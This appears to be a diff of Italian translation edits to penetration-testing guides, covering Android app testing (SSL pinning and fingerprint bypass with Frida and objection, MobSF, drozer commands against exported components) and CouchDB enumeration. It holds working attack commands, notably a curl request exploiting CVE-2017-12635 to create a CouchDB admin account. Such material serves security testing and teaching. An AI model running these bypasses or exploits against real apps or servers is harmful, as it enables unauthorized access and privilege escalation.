|
||||
#### Bypassare SSL Pinning
|
||||
|
||||
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
|
||||
|
||||
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
|
||||
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
|
||||
- Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
|
||||
@ -462,13 +462,13 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Utilizzando il seguente script Frida potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
|
||||
Utilizzando il seguente script Frida, potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Immagini di Sfondo**
|
||||
|
||||
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
|
||||
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che quando viene ripristinata in primo piano inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
|
||||
|
||||
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).
|
||||
|
||||
@ -491,19 +491,19 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
|
||||
### Punti Essenziali
|
||||
|
||||
- **Iniezione di Intent** è simile al problema di Open Redirect del web.
|
||||
- Gli exploit comportano il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
|
||||
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
|
||||
- Può esporre componenti non esportati e provider di contenuti agli attaccanti.
|
||||
- La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
|
||||
|
||||
### Iniezioni lato Client Android e altri
|
||||
|
||||
Probabilmente conosci questo tipo di vulnerabilità dal web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
|
||||
Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
|
||||
|
||||
- **Iniezione SQL:** Quando gestisci query dinamiche o Content-Providers assicurati di utilizzare query parametrizzate.
|
||||
- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
|
||||
- [**Secure Flag** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
|
||||
- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -527,18 +527,18 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
|
||||
|
||||
### Analisi dinamica assistita con MobSF
|
||||
|
||||
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
|
||||
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
|
||||
L'**analizzatore dinamico MobSF** può:
|
||||
|
||||
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
|
||||
- Catturare il **traffico HTTPS**
|
||||
- Usare **Frida** per ottenere **informazioni** **runtime**
|
||||
|
||||
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
Dalla versione **android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
|
||||
**Frida**
|
||||
|
||||
Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare il pinning SSL**, **rilevamento del root** e **rilevamento del debugger** e per **monitorare API interessanti**.\
|
||||
Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypassare SSL pinning**, **rilevamento root** e **rilevamento debugger** e per **monitorare API interessanti**.\
|
||||
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
|
||||
|
||||
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
@ -550,7 +550,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida:
|
||||
|
||||
- **Enumerare Classi Caricate**: Stampa tutte le classi caricate
|
||||
- **Catturare Stringhe**: Stampa tutte le stringhe catturate mentre utilizzi l'applicazione (super rumoroso)
|
||||
- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. Mostrerà **le 2 stringhe confrontate** e se il risultato era Vero o Falso.
|
||||
- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. Mostrerà **le 2 stringhe confrontate** e se il risultato è stato Vero o Falso.
|
||||
- **Enumerare Metodi di Classe**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe.
|
||||
- **Cerca Modello di Classe**: Cerca classi per modello
|
||||
- **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
|
||||
@ -559,7 +559,7 @@ Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf ti offre anche una shell con alcuni comandi **adb**, comandi **MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti:
|
||||
Mobsf ti offre anche una shell con alcuni comandi **adb**, **comandi MobSF** e comandi **shell** comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -570,10 +570,10 @@ receivers
|
||||
```
|
||||
**Strumenti HTTP**
|
||||
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato sul "**Traffico HTTP(S)**" in basso o una vista più bella nel pulsante verde "**Avvia HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Invia a Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Avvia Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
|
||||
> [!NOTE]
|
||||
> Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere mal configurate e non sarai in grado di correggerle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
|
||||
@ -595,7 +595,7 @@ Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Questo strumento è progettato per cercare diverse **vulnerabilità delle applicazioni Android relative alla sicurezza**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
|
||||
Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità.
|
||||
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità.
|
||||
|
||||
Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno.
|
||||
|
||||
@ -629,7 +629,7 @@ super-analyzer {apk_file}
|
||||
|
||||
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili.
|
||||
|
||||
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le wordlist per ottenere un'esperienza personalizzata.
|
||||
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le liste di parole per ottenere un'esperienza personalizzata.
|
||||
|
||||
Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -649,7 +649,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
|
||||
Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più semplice e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza.
|
||||
**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza.
|
||||
|
||||
È in grado di:
|
||||
|
||||
@ -674,7 +674,7 @@ Utile per rilevare malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Offuscare/Deoffuscare codice
|
||||
|
||||
Nota che a seconda del servizio e della configurazione che utilizzi per offuscare il codice. I segreti potrebbero essere o meno offuscati.
|
||||
Nota che a seconda del servizio e della configurazione che utilizzi per offuscare il codice. I segreti possono o meno risultare offuscati.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
@ -700,9 +700,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
|
||||
|
||||
Puoi caricare un APK offuscato sulla loro piattaforma.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Gemini di Google.
|
||||
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Google Gemini.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
@ -714,7 +714,7 @@ APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica mo
|
||||
|
||||
### Manuale
|
||||
|
||||
[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
|
||||
[Leggi questo tutorial per apprendere alcuni trucchi su **come fare reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratori
|
||||
|
||||
|
||||
@ -51,8 +51,8 @@ drozer console connect
|
||||
| **set** | Memorizza un valore in una variabile che sarà passato come variabile ambientale a qualsiasi shell Linux generata da drozer. |
|
||||
| **shell** | Avvia una shell Linux interattiva sul dispositivo, nel contesto dell'Agente |
|
||||
| **run MODULE** | Esegue un modulo drozer |
|
||||
| **exploit** | Drozer può creare exploit da eseguire nel dispositivo. `drozer exploit list` |
|
||||
| **payload** | Gli exploit necessitano di un payload. `drozer payload list` |
|
||||
| **exploit** | Drozer può creare exploit da eseguire nel dispositivo. `drozer exploit list` |
|
||||
| **payload** | Gli exploit necessitano di un payload. `drozer payload list` |
|
||||
|
||||
### Pacchetto
|
||||
|
||||
@ -102,7 +102,7 @@ is debuggable
|
||||
|
||||
### Attività
|
||||
|
||||
Il valore “android:exported” di un componente di attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
|
||||
Il valore “android:exported” di un componente attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
@ -130,7 +130,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
### Content Providers
|
||||
|
||||
Questo post era troppo grande per essere qui, quindi **puoi** [**accederci nella sua pagina dedicata qui**](exploiting-content-providers.md).
|
||||
Questo post era così grande da essere qui quindi **puoi** [**accederlo nella sua pagina qui**](exploiting-content-providers.md).
|
||||
|
||||
### Services
|
||||
|
||||
@ -164,7 +164,7 @@ Dai un'occhiata all'aiuto di **drozer** per `app.service.send`:
|
||||
.png>)
|
||||
|
||||
Nota che invierai prima i dati all'interno di "_msg.what_", poi "_msg.arg1_" e "_msg.arg2_", dovresti controllare all'interno del codice **quale informazione viene utilizzata** e dove.\
|
||||
Utilizzando l'opzione `--extra` puoi inviare qualcosa interpretato da "_msg.replyTo"_, e usando `--bundle-as-obj` crei un oggetto con i dettagli forniti.
|
||||
Utilizzando l'opzione `--extra` puoi inviare qualcosa interpretato da "_msg.replyTo_", e usando `--bundle-as-obj` crei un oggetto con i dettagli forniti.
|
||||
|
||||
Nell'esempio seguente:
|
||||
|
||||
@ -179,9 +179,9 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||
|
||||
### Broadcast Receivers
|
||||
|
||||
**Nella sezione delle informazioni di base di Android puoi vedere cos'è un Broadcast Receiver**.
|
||||
**Nella sezione informazioni di base di Android puoi vedere cos'è un Broadcast Receiver**.
|
||||
|
||||
Dopo aver scoperto questi Broadcast Receivers dovresti **controllare il codice** di essi. Presta particolare attenzione alla funzione **`onReceive`** in quanto gestirà i messaggi ricevuti.
|
||||
Dopo aver scoperto questi Broadcast Receivers dovresti **controllare il codice** di essi. Fai particolare attenzione alla funzione **`onReceive`** poiché gestirà i messaggi ricevuti.
|
||||
|
||||
#### **Rileva tutti** i broadcast receivers
|
||||
```bash
|
||||
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### È debuggeable
|
||||
|
||||
Un APK di produzione non dovrebbe mai essere debuggeable.\
|
||||
Questo significa che puoi **attaccare un debugger java** all'applicazione in esecuzione, ispezionarla in tempo reale, impostare punti di interruzione, procedere passo dopo passo, raccogliere valori delle variabili e persino modificarli. [InfoSec institute ha un ottimo articolo](../exploiting-a-debuggeable-applciation.md) su come approfondire quando la tua applicazione è debuggeable e iniettare codice in tempo di esecuzione.
|
||||
Questo significa che puoi **attaccare un debugger java** all'applicazione in esecuzione, ispezionarla in tempo reale, impostare punti di interruzione, procedere passo dopo passo, raccogliere valori delle variabili e persino modificarli. [L'InfoSec institute ha un ottimo articolo](../exploiting-a-debuggeable-applciation.md) su come approfondire quando la tua applicazione è debuggeable e iniettare codice in tempo di esecuzione.
|
||||
|
||||
Quando un'applicazione è debuggeable, apparirà nel Manifest:
|
||||
```xml
|
||||
@ -239,14 +239,14 @@ Puoi trovare tutte le applicazioni debugabili con **Drozer**:
|
||||
```bash
|
||||
run app.package.debuggable
|
||||
```
|
||||
## Tutorial
|
||||
## Tutorials
|
||||
|
||||
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||||
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
||||
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
||||
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
||||
|
||||
## Maggiori informazioni
|
||||
## More info
|
||||
|
||||
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informazioni di base**
|
||||
## **Informazioni di Base**
|
||||
|
||||
**CouchDB** è un database **orientato ai documenti** versatile e potente che organizza i dati utilizzando una struttura a **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, elenchi o mappe**, fornendo flessibilità nella memorizzazione e recupero dei dati.
|
||||
**CouchDB** è un database **orientato ai documenti** versatile e potente che organizza i dati utilizzando una struttura a **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, elenchi o mappe**, fornendo flessibilità nello stoccaggio e nel recupero dei dati.
|
||||
|
||||
Ogni **documento** memorizzato in CouchDB è assegnato a un **identificatore univoco** (`_id`) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database è assegnata a un **numero di revisione** (`_rev`). Questo numero di revisione consente un **tracciamento e gestione delle modifiche** efficienti, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
|
||||
Ogni **documento** memorizzato in CouchDB è assegnato a un **identificatore unico** (`_id`) a livello di documento. Inoltre, ogni modifica effettuata e salvata nel database è assegnata a un **numero di revisione** (`_rev`). Questo numero di revisione consente un **tracciamento e una gestione efficienti delle modifiche**, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
|
||||
|
||||
**Porta predefinita:** 5984(http), 6984(https)
|
||||
```
|
||||
@ -36,13 +36,13 @@ Questo invia una richiesta GET all'istanza di CouchDB installata. La risposta do
|
||||
|
||||
Questi sono gli endpoint a cui puoi accedere con una **GET** richiesta ed estrarre alcune informazioni interessanti. Puoi trovare [**ulteriori endpoint e descrizioni più dettagliate nella documentazione di couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
- **`/_active_tasks`** Elenco dei task in esecuzione, inclusi il tipo di task, nome, stato e ID processo.
|
||||
- **`/_active_tasks`** Elenco dei task in esecuzione, inclusi il tipo di task, nome, stato e ID del processo.
|
||||
- **`/_all_dbs`** Restituisce un elenco di tutti i database nell'istanza CouchDB.
|
||||
- \*\*`/_cluster_setup`\*\*Restituisce lo stato del nodo o del cluster, secondo la procedura guidata di configurazione del cluster.
|
||||
- **`/_cluster_setup`** Restituisce lo stato del nodo o del cluster, secondo la procedura guidata di configurazione del cluster.
|
||||
- **`/_db_updates`** Restituisce un elenco di tutti gli eventi del database nell'istanza CouchDB. L'esistenza del database `_global_changes` è necessaria per utilizzare questo endpoint.
|
||||
- **`/_membership`** Mostra i nodi che fanno parte del cluster come `cluster_nodes`. Il campo `all_nodes` mostra tutti i nodi di cui questo nodo è a conoscenza, inclusi quelli che fanno parte del cluster.
|
||||
- **`/_scheduler/jobs`** Elenco dei lavori di replicazione. Ogni descrizione del lavoro includerà informazioni su sorgente e destinazione, ID replicazione, una cronologia degli eventi recenti e alcune altre cose.
|
||||
- **`/_scheduler/docs`** Elenco degli stati dei documenti di replicazione. Include informazioni su tutti i documenti, anche in stati `completati` e `falliti`. Per ogni documento restituisce l'ID del documento, il database, l'ID di replicazione, sorgente e destinazione, e altre informazioni.
|
||||
- **`/_scheduler/jobs`** Elenco dei lavori di replicazione. Ogni descrizione del lavoro includerà informazioni su sorgente e destinazione, ID di replicazione, una cronologia degli eventi recenti e alcune altre cose.
|
||||
- **`/_scheduler/docs`** Elenco degli stati dei documenti di replicazione. Include informazioni su tutti i documenti, anche in stati `completed` e `failed`. Per ogni documento restituisce l'ID del documento, il database, l'ID di replicazione, sorgente e destinazione, e altre informazioni.
|
||||
- **`/_scheduler/docs/{replicator_db}`**
|
||||
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
- **`/_node/{node-name}`** L'endpoint `/_node/{node-name}` può essere utilizzato per confermare il nome del nodo Erlang del server che elabora la richiesta. Questo è particolarmente utile quando si accede a `/_node/_local` per recuperare queste informazioni.
|
||||
@ -50,8 +50,8 @@ Questi sono gli endpoint a cui puoi accedere con una **GET** richiesta ed estrar
|
||||
- **`/_node/{node-name}/_system`** La risorsa \_system restituisce un oggetto JSON contenente varie statistiche a livello di sistema per il server in esecuzione\_.\_ Puoi usare \_\_`_local` come {node-name} per ottenere informazioni sul nodo corrente.
|
||||
- **`/_node/{node-name}/_restart`**
|
||||
- **`/_up`** Conferma che il server è attivo, in esecuzione e pronto a rispondere alle richieste. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) è `true` o `nolb`, l'endpoint restituirà una risposta 404.
|
||||
- \*\*`/_uuids`\*\*Richiede uno o più Identificatori Universali Unici (UUID) dall'istanza CouchDB.
|
||||
- \*\*`/_reshard`\*\*Restituisce un conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato di resharing nel cluster.
|
||||
- **`/_uuids`** Richiede uno o più Identificatori Universali Unici (UUID) dall'istanza CouchDB.
|
||||
- **`/_reshard`** Restituisce un conteggio dei lavori completati, falliti, in esecuzione, fermati e totali insieme allo stato di resharing sul cluster.
|
||||
|
||||
Ulteriori informazioni interessanti possono essere estratte come spiegato qui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
```
|
||||
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, potresti **creare un utente admin** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
|
||||
Grazie alle differenze tra i parser JSON di Erlang e JavaScript, puoi **creare un utente admin** con le credenziali `hacktricks:hacktricks` con la seguente richiesta:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
@ -120,7 +120,7 @@ Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Nella documentazione di CouchDB, specificamente nella sezione riguardante la configurazione del cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), si discute dell'uso delle porte da parte di CouchDB in modalità cluster. Si menziona che, come nella modalità standalone, viene utilizzata la porta `5984`. Inoltre, la porta `5986` è per le API locali del nodo e, cosa importante, Erlang richiede la porta TCP `4369` per il Daemon del Mappatore di Porte Erlang (EPMD), facilitando la comunicazione tra i nodi all'interno di un cluster Erlang. Questa configurazione forma una rete in cui ogni nodo è interconnesso con ogni altro nodo.
|
||||
|
||||
Un'importante avviso di sicurezza è evidenziato riguardo alla porta `4369`. Se questa porta è resa accessibile su Internet o su qualsiasi rete non affidabile, la sicurezza del sistema dipende fortemente da un identificatore unico noto come "cookie." Questo cookie funge da salvaguardia. Ad esempio, in un dato elenco di processi, potrebbe essere osservato il cookie chiamato "monster", che indica il suo ruolo operativo nel framework di sicurezza del sistema.
|
||||
Un'importante avviso di sicurezza è evidenziato riguardo alla porta `4369`. Se questa porta è resa accessibile su Internet o su qualsiasi rete non affidabile, la sicurezza del sistema dipende fortemente da un identificatore unico noto come "cookie." Questo cookie funge da salvaguardia. Ad esempio, in un dato elenco di processi, potrebbe essere osservato il cookie chiamato "monster", indicando il suo ruolo operativo nel framework di sicurezza del sistema.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
@ -133,7 +133,7 @@ Per coloro che sono interessati a comprendere come questo "cookie" possa essere
|
||||
|
||||
Esempio [da qui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Una vulnerabilità recentemente divulgata, CVE-2018-8007, che colpisce Apache CouchDB è stata esplorata, rivelando che lo sfruttamento richiede permessi di scrittura sul file `local.ini`. Sebbene non sia direttamente applicabile al sistema target iniziale a causa delle restrizioni di sicurezza, sono state apportate modifiche per concedere accesso in scrittura al file `local.ini` per scopi di esplorazione. Di seguito sono forniti passaggi dettagliati e esempi di codice che dimostrano il processo.
|
||||
